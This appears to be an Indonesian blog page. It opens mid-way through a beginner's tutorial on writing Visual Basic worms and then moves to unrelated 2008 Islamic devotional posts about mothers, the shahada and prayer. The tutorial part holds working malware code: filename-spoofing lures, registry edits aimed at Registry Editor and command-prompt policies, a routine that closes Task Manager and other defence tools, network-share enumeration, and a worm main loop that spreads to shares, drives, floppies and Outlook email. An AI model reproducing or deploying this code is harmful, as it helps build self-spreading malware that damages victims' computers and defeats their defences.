Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function

Lampiran B

‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

Prejekan



Tak bisa menahan rasa malu akhirnya kami semua berpaling darimu wahai foto terindah:z :z :z :z .





Selasa, 08 Juli 2008

Ibunda, Manusia Paling Berjasa

Seorang lelaki, seperti dikisahkan oleh Abu Huroiroh ra datang dan bertanya, “Duhai Rosululloh, siapakah orang yang paling berhak mendapat perlakuan baik dariku?” Nabi SAW menjawab, “Ibumu” “Lalu siapa?” tanya lelaki itu. “Ibumu” jawab Nabi SAW. “Lalu siapa?’ tanya lelaki itu lagi. Dan untuk ketiga kalinya Nabi SAW menjawab, “Ibumu” lelaki itu masih bertanya, “Lalu siapa?” Nabi SAW menjawab, “Ayahmu”HR Bukhori. Ketika haji Wada’ maka yang pertama kali keluar dari sabda Rosululloh SAW adalah, “Sesungguhnya Alloh mewasiatkan para ibu kalian kepada kalian”HR Thobaroni.Jika memiliki uang sejumlah seratus ribu rupiah lalu anda berkehendak memberikannya kepada kedua orang tua maka sejumlah tujuh puluh lima ribu harus anda berikan kepada ibunda dan sisanya merupakan jatah ayahanda. Artinya jika berbakti kepada kedua orang tua merupakan suatu kewajiban yang menjadi kunci sukses hidup dunia akhirat maka perlu dimengerti bahwa ibunda harus mendapat perhatian 3/4 dari nilai bakti anda sementara 1/4 nya adalah jatah ayahanda. Demikian makna tersirat yang bisa diambil dari tiga kali penyebutan Rosululloh SAW terhadap “Ibunda” dan satu kali penyebutan “Ayahanda”. Penyebutan tiga kali “Ibumu” juga bisa difahami sebagai suatu langkah peringatan agar manusia betul – betul memahami dan menghargai peran ibunda. Sebab bisa jadi manusia lebih mudah durhaka kepada ibunda daripada durhaka kepada ayahanda karena merasa jasa ayahanda lebih besar. Sebab ayahanda bekerja keras mencari nafkah untuk menghidupi seluruh keluarga sementara ibunda hanya di rumah memasak, mencuci atau membersihkan dan merapikan rumah.. Anggapan seperti ini memang kerap kali muncul yang akibatnya manusia kurang menyadari jasa besar ibunda yang selanjutnya juga kurang memperhafikan bakti kepada ibunda. Untuk itulah Alqur’an mengingatkan:

وَوَصَّيْنَا اْلإِنْسَانَ بِوَالِدَيْهِ حَمَلَتْهُ أُمُّهُ وَهْنًا عَلَى وَهْنٍ وَفِصَالُهُ فِى عَامَيْنِ أَنِ اشْكُرْ لِيْ وَلِوَالِدَيْكَ إِلَيَّ الْمَصِيْرُ

“Dan Kami perintahkan kepada manusia (berbuat baik) kepada kedua orang tuanya. Ibunya telah mengandungnya dalam keadaan lemah yang bertumpuk – tumpuk dan menyapihnya dalam dua tahun. Bersyukurlah kepadaKu dan kepada kedua orang tuamu. Hanya kepadaKu lah tempat kembali” QS Luqman: 14.

Penyebutan tiga kali “Ibumu” juga merupakan tindakan antisipasi terhadap bahaya besar apabila seorang anak tidak berbuat baik kepada ibunda. Sebab seperti dimaklumi bahwa wanita dengan segala kelebihan, kekurangan dan kelemahan lebih cepat marah dan cenderung kurang mampu untuk menahan derita akibat keburukan prilaku anak sehingga ucapan – ucapan yang bernada negatif pun dengan mudah keluar yang sebenarnya tanpa disadari bahwa ucapan tersebut tiada lain adalah do’a keburukan atas anak dan seperti diyakini bahwa do’a orang tua terhadap anak seperti do’a Nabi terhadap umatnya, apalagi ini dalam konteks anak sedang berbuat aniaya kepada orang tua, tentu do’a tersebut akan semakin mudah mengetuk dan membuka pintu Ijaabah (pengkabulan). Na’udzu Billaah.

Kembali pada penafsiran kedua, hak ibu terhadap anak jauh lebih besar dibanding dengan hak ayah juga terlambang dalam kisah ketika seorang lelaki datang dan bertanya, “Wahai Rosululloh, sungguh saya telah menggendong ibu sejauh dua Farsakh di jalanan pasir yang sangat panas yang andaikan segumpal daging saya taruh di atasnya (pasir tersebut) niscaya akan matang. Apakah (dengan begitu) saya telah menyampaikan rasa terima kasih kepadanya?” Nabi SAW menjawab:

لَعَلَّهُ أَنْ يَكُوْنَ لِطَلْقَةٍ وَاحِدَةٍ

“Mungkin sekali hal itu hanya (sebagai rasa terima kasih) untuk sedikit rasa sakit kala melahirkan”HR Thobaroni

Suatu ketika Ibnu Umar ra melihat seorang lelaki dari Yaman yang sedang berthowaf dengan menggendong ibunya. Mengetahui bahwa orang yang ditemuinya adalah seorang Ibnu Umar maka lelaki itu bertanya, “Apakah dengan seperti ini saya telah membalas kebaikan ibuku?” Ibnu Umar ra menjawab, “Sama sekali belum. Bahkan belum bisa membalas jasa ibumu yang berupa sekali detakan nafasnya (kala ia mengandung, melahirkan dan menyusui dan merawatmu” Penghargaan yang sangat tinggi tiada ternilai juga membuat sebagian orang Arab tempo dulu mampu menggendong ibunya untuk berhaji. Rasa berhutang budi kepada ibu yang sangat tinggi juga memotivasi cucu Rosululloh SAW Hasan ra untuk tidak berani makan bersama ibundanya Fathimah al Batuul binti Rosulillah SAW. Ditanya oleh ibunya kenapa tidak mau makan bersama, al Hasan ra menjawab, “Saya khawatir tangan saya mendahului memakan makanan yang telah terlihat dan menarik selera engkau” mendengar ini Fathimah az Zahro’ terharu dan berkata kepada anak yang secara fisik mirip sekali dengan Rosululloh SAW, “Apa yang diambil oleh tanganmu itu halal bagimu” sesudah itu Hasan ra baru mau makan bersama ibundanya.

Begitu besar hak seorang ibu terhadap anak menjadikan berbakti dan berbuat baik kepada ibunda jauh lebih utama bagi anak daripada berjihad fi sabilillah. Tholhah bin Muawiyah as Sulami ra berkisah: Aku datang kepada Rosululloh SAW dan bertanya, “Saya ingin berjihad di jalan Alloh” Nabi SAW bertanya, “Apakah ibundamu masih hidup?”Atho’ mengangguk hingga Nabi SAW lalu bersabda, “(Kalau begitu, tetapilah kakinya (berbaktilah kepada ibumu!), di sanalah surga berada”HR Thobaroni. Jahimah datang dan bertanya, “Wahai Rosululloh, saya ingin berperang dan sungguh saya datang ke sini untuk meminya pendapat” Nabi SAW bertanya, “Apakah kamu masih mempunyai ibunda?” Jahimah mengangguk dan Nabi SAW bersabda, “(Kalau begitu) tetapilah dia sebab surga ada di antara kedua kakinya”HR Ibnu Majah. Nabi SAW juga pernah bersabda:

الْجَنَّةُ تَحْتَ أَقْدَامِ اْلأُمَّهَاتِ

“Surga di bawah telapak kaki para ibu”HR Khothib al Baghdadi – al Qudho’i.

Jasa – jasa ibunda yang berlaksa tak ternilai dengan emas permata menjadikan anak harus mengeluarkan segala usaha untuk bisa sedikit membalas. Salah satu usaha tersebut adalah seperti dituturkan Alqur’an dengan berkata baik dan lemah lembut. Untuk hal ini saja seorang anak sudah harus berjuang, sebab berkata lemah lembut dalam situasi normal adalah hal yang mudah,akan tetapi dalam kondisi tidak normal semisal saat ibu berbuat sesuatu yang menjadikan anak jengkel maka tentu untuk bertutur kata halus bukan suatu yang mudah. Hanya pertolongan Alloh yang membuat manusia mampu melakukannya. Selain itu, menuruti keinginan orang tua (ibunda) dan tidak membantah perintah juga demikian halnya. Semuanya akan mudah dilakukan jika keinginan itu sejalan dengan keinginan anak atau perintah itu tidak memberatkan anak. Keadaan pasti lain ketika ternyata keinginan orang tua berseberangan dengan keinginan anak atau perintah orang tua begitu memberatkan anak. Dalam kondisi seperti ini, kearifan dan keluasan wawasan sangat berpengaruh terhadap sikap yang harus diambil. Seorang anak yang arif dan mengerti tentu akan bercermin dan melihat apakah perintah yang terasa berat itu sejalan dengan perintah Alloh atau tidak. Jika sejalan maka tak ada alasan untuk tidak menjalankan. Tetapi jika bertentangan maka perlu keteguhan jiwa untuk tidak menuruti perintah ibunda.

Hal itulah yang dialami oleh Sa’ad bin Abi Waqqosh ra. Mengetahui dirinya masuk Islam, ibunya berkata mengancam, “Hai Sa’ad, agama baru apakah yang kamu peluk. Kamu tinggalkan agama itu atau aku tak akan makan dan minum sampai mati sehingga kamu dikatakan sebagai seorang yang membunuh ibunya!” ternyata benar, ibunda Sa’ad akhirnya melakukan aksi mogok makan sehingga tubuhnya menjadi lemah. Melihat itu, Sa’ad bin Abi Waqqosh, meski sebelumnya dikenal sebagai seorang yang sangat berbakti kepada ibunda, dengan sangat teguh mendekat dan berkata, “Demi Alloh, andai ibu memiliki seratus nyawa kemudian keluar satu persatu maka aku tak akan pernah meninggalkan agama ini selamanya. Terserah, ibu mau makan atau tidak” melihat keteguhan Sa’ad, sang ibunda akhirnya menyerah dan menghentikan aksinya. Kasus inilah yang melatar belakangi turunnya firman Alloh:

وَإِنْ جَاهَدَاكَ عَلَى أَنْ تُشْرِكَ بِي مَالَيْسَ لَكَ بِهِ عِلْمٌ فَلاَ تُطِعْهُمَا ...

“Dan apabila keduanya memaksamu untuk mempersekutukanKu dengan sesuatu yang tidak ada pengetahuanmu maka jangan turuti mereka...”QS Luqman: 15.

Sikap Sa’ad ra ini sungguh perlu dijadikan sebagai pelajaran dan pegangan bagi setiap orang khususnya seorang anak yang memang terkadang mendapat perintah sesuatu atau melihat hal pada orang tua yang tidak sesuai dengan ajaran Islam dan umumnya bagi siapa saja yang merasa telah banyak berhutang budi kepada orang lain. Jangan sampai karena berhutang budi lalu lepas kontrol dan mudah menuruti segala keinginan orang tersebut tanpa terlebih dahulu mencermati apakah keinginan itu dibenarkan syariat atau tidak. Sungguh manusia memang sangat lemah bila berhadapan dengan orang yang telah berbuat baik kepadanya sehingga ia sama sekali diam meski melihat orang yang berbuat baik kepadanya telah berbuat dosa. Memang untuk bertindak sesuatu yang bertentangan dengan keinginan orang yang telah berjasa bukanlah hal yang mudah, tetapi jika diam saja maka kedua belah pihak justru terkena dampak negatifnya. Tidak mudah berarti sulit dan bukan hal yang tidak mungkin. Ingatlah kisah di tengah malam saat seorang anak gadis berkata kepada ibunya agar jangan mencampur susu dengan air. Ucapan pencegahan anak gadis tersebut rupanya terdengar oleh kholifah Umar ra yang kebetulan lewat dan tanpa sengaja mendengar percakapan anak gadis dan ibundanya hingga keesokan hari Umar ra datang ke rumah tersebut untuk melamar si gadis sebagai menantunya.

Syahadat Sebagai Kekuatan

Kebahagiaan hidup merupa kan dambaan setiap insan. Bagaimanapun buruk dan jahatnya perangai serta karakter seseorang, dalam sanubarinya yang paling dalam, tetap dia menginginkan kebahagiaan hidup dalam setiap jejak langkah kakinya. Bagi individu muslim kebahagiaan serta ketenteraman batin hanya bisa diperoleh lewat iman yang paripurna. Permasalahannya sekarang adalah: " Apakah iman itu dapat dipertahankan stabilitasnya?" Sebagai manusia biasa yang terkadang dininabobokan oleh berbagai rutinitas hidup, kita seringkali lupa akan eksistensi diri kita sebaagai hamba Allah swt.

Menyadari betapa besarnya tantangan dan godaan yang dilalui oleh setiap insan seperti inilah yang menyebabkan Rasulullah saw jauh-jauh hari telah memberikan peringatan pada ummatnya, bahwa keimanan seseorang akan mudah berubah setiap saat, naik turun, bertambah dan berkurang. Iman akan naik bila seorang hamba selalu hadir dalam keta'atan di hadapan penciptanya. Sebaliknya, iman akan terus berkurang bila memang dia berbalik menjauhi Tuhannya dengan selalu melakukan maksiat pada Sang Khaliq. Untuk itulah Rasulullah saw bersabda:" Perbaharuilah imanmu dengan kalimat `laa ilaahaillallah."

Berbicara mengenai kalimat syahadat pada zaman di mana kaum muslimin di berbagai belahan dunia telah mengalami kemunduran dalam segala sektor kehidupan, seakan telah kehilangan makna dan getarannya. Ummat Islam seperti telah kehilangan wibawa sehingga begitu mudah diombang-ambingkan oleh permainan pihak lain. Padahal inilah kunci kemenangan Islam. Syahadat inilah yang menggetarkan Jazirah Arab ketika pertama kali Islam disebarkan oleh Nabi. Bulu kuduk orang kafir berdiri, nyalinya ciut, hatinya bergetar penuh ketakutan begitu mendengar seruan syahadat.

Namun sangat disayangkan, kalimat itu juga yang kita teriakkan sekarang, namun justru tidak memiliki daya getar dan kehilangan rohnya yang paling substansial. Akhirnya jadilah ummat Islam dikebiri dan terpinggirkan dalam segala lapangan kehidupan.

Inilah tanda tanya besar yang harus segera dijawab oleh kaum muslimin. Kenapa hal ini menimpa mereka. Kalimat "Laa ilaaha illallah" sering hanya diartikan secara pasif: "Tidak ada Tuhan selain Allah." Sehingga mengakibatkan banyak orang telah bersyahadat, tetapi pola hidupnya masih meniru gaya orang kafir, baik ucapan maupun perbuatannya. Padahal sesungguhnya kalimat ini sangat aktif. Sebab "Laa" di sini berfungsi sebagai Laa nafyu lil jinsi yang artinya menghilangkan segala jenis ilah. Ibnu Katsir memberikan penafsiran kata ilah dengan: yang menenteramkan batin, yang melindungi, yang gelisahkan jiwa jika berpisah, yang memperbudak dan rela diperbudak serta yang tersembunyi yaitu cita dan cinta. Jadi orang yang bersyahadat berarti telah berikrar untuk menghilangkan segala jenis ilah yang dapat menenteramkan, menggelisahkan dan mencemaskan hati jika berpisah, serta memperbudak dirinya selain Allah semata. Wanita, umpamanya, dia mampu menjadi penenteram hati bagi laki-laki, membuatnya terbuai dalam dekapan rayuan mautnya. Begitupun dengan harta dan tahta mampu membius manusia melupakan tujuan hidupnya.

Maka jelaslah, bahwa bagi seorang muslim haram hukumnya bila lebih mencintai harta, kedudukan dan wanita dari pada mencintai Allah swt. Dengan syahadat seorang muslim melakukan transaksi langsung, bersumpah setia dan mengikat janji kepada khaliq bahwa tiada lagi yang berhak mengatur segala aktifitas hidupnya melainkan Allah swt semata. Dia-lah yang memiliki kekuasaan mutlak di mana semua makluk tunduk dalam aturan main-Nya. Sebagai pencipta adalah sangat wajar bila kemudian dia mengetahui secara pasti seluk-beluk makhluk yang dibuat-Nya. Karena itu Dia-lah sumber kehidupan yang diagungkan, diangkat dan dibesar-besarkan serta dipuja setiap kesempatan. Kekuasaan dan kekuatan yang dimiliki manusia sungguh tidak layak untuk dipamerkan di hadapan Allah swt. Kesadaran seperti inilah yang terlahir dari generasi Islam hasil tarbiyah ilahiyyah dan didikan Rasulullah saw ketika menerima wahyu pertama, yaitu surat Al-Alaq. Keyakinan bahwa Allah sajalah sumber kehidupan dan kematian, yang memiliki kekuasaan dan kemuliaan, di mana posisi dan kedudukan-Nya mengatur pergerakan alam semesta dan segala isinya, sehingga di tangan-Nyalah seluruh kekuasaan terhimpun. Mutlak dan tidak dapat diganggu-gugat. Sebaliknya, eksistensi dan keberadaan manusia, hakekatnya adalah sama, berasal daru sesuatu yang hina, yaitu dari gumpalan darah yang menggantung. Apa yang kita kenal dengan istilah sperma. Kesadaran seperti inilah yang melahirkan sikap egaliter (persamaan) di antara sesama manusia sehingga setiap orang dapat duduk sama rendah dan berdiri sama tinggi. Pangkat dan jabatan tidak membuat seseorang mulia di hadapan Allah swt, begitu pula dengan harta dan kekuasaan, tidak akan memiliki nilai yang berarti selama dia ingkar terhadap keputusan ilahi. Pekerjaan yang di mata manusia terlihat remeh, bahkan dianggap hina akan memiliki kualitas penilaian yang sangat tinggi bila disertai dengan ketulusan pengabdian di hadapan Allah swt. Seorang tukang sapu misalnya, bila gerakannya diawali dari kalimat suci laa ilaaha illallah, maka pekerjaannya bernilai surgawi dalam catatan malaikat. Sebaliknya walaupun dia bintang film sekaliber Madonna, pangeran, dan kaisar yang dipuja dan disanjung-sanjung oleh setiap orang, selama amal perbuatannya tidak dilandasi oleh kalimat thayyibah ini, selamanya dia akan hina di sisi Allah swt. Karenanya penilaian seseorang, bukan pada harta, tahwa dan jabatan yang dia peroleh melainkan pada kualitas takwa yang dimilikinya, inna aqramakum indallahi atqakum. Keyakinan seperti ini telah menancap kuat dalam sanubari para sahabat sehingga mereka tidak gentar menghadapi kecongkakan Abu Jahal, tidak mau tunduk di bawah ketiak Abu Sofyan serta tidak terbuai oleh tawaran kemewahan Umayyah, sang penguasa dan konglomerat di Kota Mekkah. Sungguh tidak ada lagi yang mereka takutkan dan cemaskan,kecuali berpisah dari Allah swt. Berpisah dari rahim-Nya, dari pertolongan dan kasih sayang-Nya. Dialah satu-satunya Dzat yang memiliki kekuasaan yang hakiki, di mana tidak dibatasi oleh ruang dan waktu, yang setiap saat bisa mencabut Abu Jahal dan Abu Lahab. Kalau sudah begini siapa lagi yang ditakutkan di dunia ini? Begitu kukuhnya keyakinan itu sehingga siksaan dan teror dari kafir Quraisy seakan sudah tidak diperdulikan lagi. Beginilah potret keimanan generasi pertama, yang memahami syahadat secara benar dan utuh, rela nyawanya dikorbankan untuk mempertahankan sumpah setia yang telah dia teken di hadapan Allah swt. Tapi ummat Islam sekarang, sungguh sangat pengherankan, sekadar menampakkan identitas keimanannya saja sudah grogi, takut dituduh primordial dan sektarian. Wajar bila kemudian kaum muslimin kehilangan jati diri dan identitas yang seharusnya mereka pertahankan mati-matian.

Ikatan syahadat tidak boleh lepas dari pundak seorang muslim, bila itu terjadi berarti ia merelakan dirinya untuk kembali terjajah dalam perbudakan yang memenjara kebebasannya. Karenanya tidak ada pilihan lain kecuali mempertehankan proklamasi yang telah ia kumandangkan. Bila ada yang menganggu ikrar itu apalagi menentangnya, sama artinya dengan mengajak duel secara terbuka.

Untuk itu dia rela meneteskan darah dan air mata untuk mempertahankan buhul syahadat dalam genggamannya. Allah swt berfirman: " Barangsiapa yang mengingkari Thaghut dan beriman keada Allah, maka dia benar-benar telah berpegang dengan buhul tali yang kokoh dan teramat kuat serta tidak akan pernah putus , dan Allah Maha mendengar dan melihat.". (QS, Al-Baqarah:256)
 

Minggu, 06 Juli 2008

Hanya Ingin Mengingatkan


Kubur setiap hari menyeru manusia sebanyak lima kali :) :
  1. Aku ;) rumah yang terpencil, maka kamu akan senang dengan selalu membaca Al-Quran.
  2. Aku ;) rumah yang gelap, maka terangilah aku dengan selalu solat malam.
  3. Aku ;) rumah penuh dengan tanah dan debu, bawalah amal soleh yang menjadi
    hamparan.
  4. Aku ;) rumah ular berbisa, maka bawalah amalan Basmallah sebagai penawar.
  5. Aku ;) rumah pertanyaan Munkar dan Nakir, maka banyaklah bacaan :y 
    "Laa ilahaillallah, Muhammadar Rasulullah", supaya kamu dapat jawaban kepadanya.


Lima Jenis Racun dan Lima Penawarnya :) ;
  1. Dunia itu racun :f , zuhud itu obatnya :D.
  2. Harta itu racun :f , zakat itu obatnya :D .
  3. Perkataan yang sia-sia itu racun :f , zikir itu obatnya:D .
  4. Seluruh umur itu racun :f , taat itu obatnya :D .
  5. Seluruh tahun itu racun :f , Ramadhan itu obatnya :D .

Nabi Muhammad S.A.W bersabda: " Ada 4 di pandang sebagai ibu " :) , yaitu :
  1. Ibu dari segala OBAT adalah SEDIKIT MAKAN.
  2. Ibu dari segala ADAB adalah SEDIKIT BERBICARA.
  3. Ibu dari segala IBADAT adalah TAKUT BUAT DOSA.
  4. Ibu dari segala CITA CITA adalah SABAR
Berpesan-pesanlah kepada kebenaran dan Kesabaran :t .
Beberapa kata renungan dari Qur'an :
Orang yang tidak melakukan sholat :
  1. Subuh : Dijauhkan cahaya muka yang bersinar
  2. Dzuhur : Tidak diberikan berkah dalam rezekinya
  3. Ashar : Dijauhkan dari kesehatan/kekuatan
  4. Maghrib : Tidak diberi santunan oleh anak-anaknya.
  5. Isha' : Dijauhkan kedamaian dalam tidurnya